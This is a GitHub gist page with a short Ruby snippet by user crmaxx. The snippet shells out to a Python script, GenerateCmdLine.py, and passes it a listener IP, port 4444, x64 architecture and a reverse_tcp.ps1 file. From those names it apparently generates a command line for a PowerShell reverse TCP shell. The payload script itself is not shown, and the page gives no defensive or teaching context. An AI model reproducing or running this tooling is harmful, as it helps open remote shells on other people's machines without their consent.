Skip to content

Instantly share code, notes, and snippets.

@crmaxx
Last active August 29, 2015 14:28
Show Gist options
  • Select an option

  • Save crmaxx/348279fc9b818389d9f4 to your computer and use it in GitHub Desktop.

Select an option

Save crmaxx/348279fc9b818389d9f4 to your computer and use it in GitHub Desktop.
home = '/opt/tmps'
python27_bin = %x(which python2.7) # /usr/bin/python2.7
ip = '10.211.55.8'
port = 4444
arch = 'x64'
cmd = %x[ #{python27_bin} #{home}/GenerateCmdLine.py -ip #{ip} -arch #{arch} -p #{port} -f #{home}/#{arch}/reverse_tcp.ps1 ]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment